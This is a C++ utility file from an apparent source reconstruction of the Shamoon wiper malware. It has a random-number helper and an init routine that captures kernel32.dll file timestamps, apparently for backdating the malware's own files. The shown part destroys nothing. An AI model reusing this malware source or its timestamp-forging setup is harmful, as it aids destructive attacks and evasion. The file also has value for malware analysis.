// Copyright 2015 Christian Roggia. All rights reserved.
// Use of this source code is governed by an Apache 2.0 license that can be
// found in the LICENSE file.

#include "General.h"

#include "System.h"
#include "String.h"

DWORD Shamoon::Utils::GetRandom()
{
	DWORD dwTickCount = GetTickCount();
	return g_last_random_number = (dwTickCount < g_last_random_number) ? (g_last_random_number - dwTickCount) : (dwTickCount - g_last_random_number);
}

void Shamoon::Utils::ResetArgs()
{
	if(g_argv)
		LocalFree(g_argv);
	
	g_argc = 0;
}

bool Shamoon::Utils::InitModule()
{
	HANDLE hKernel; // edi@1
	WCHAR szKernelPath[256]; // [sp+Ch] [bp-204h]@1

	GetWindowsDirectoryW(g_szWinDir, 100);
	
	M_STRING02
	(
		szKernelPath,

		g_szWinDir,
		L"\\system32\\kernel32.dll"
	)

	EXECUTE_WOW64_FILE_OPERATION
	(
		hKernel = CreateFileW(szKernelPath, 0x80000000, FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_OPEN_NO_RECALL, NULL);
	)
	
	if(hKernel != INVALID_HANDLE_VALUE)
	{
		if(!GetFileTime(hKernel, &g_kernel_creation_time, &g_kernel_last_access_time, &g_kernel_last_write_time))
		{
			g_kernel_creation_time.dwHighDateTime = 0;
			g_kernel_creation_time.dwLowDateTime = 0;
		}
		
		CloseHandle(hKernel);
	}
	
	g_argv = CommandLineToArgvW(GetCommandLineW(), &g_argc);
	if(g_argv)
	{
		strcpyW_(g_module_path, g_argv[0], strlenW_(g_argv[0]) * sizeof(WCHAR) + sizeof(WCHAR));
		return true;
	}
	
	return false;
}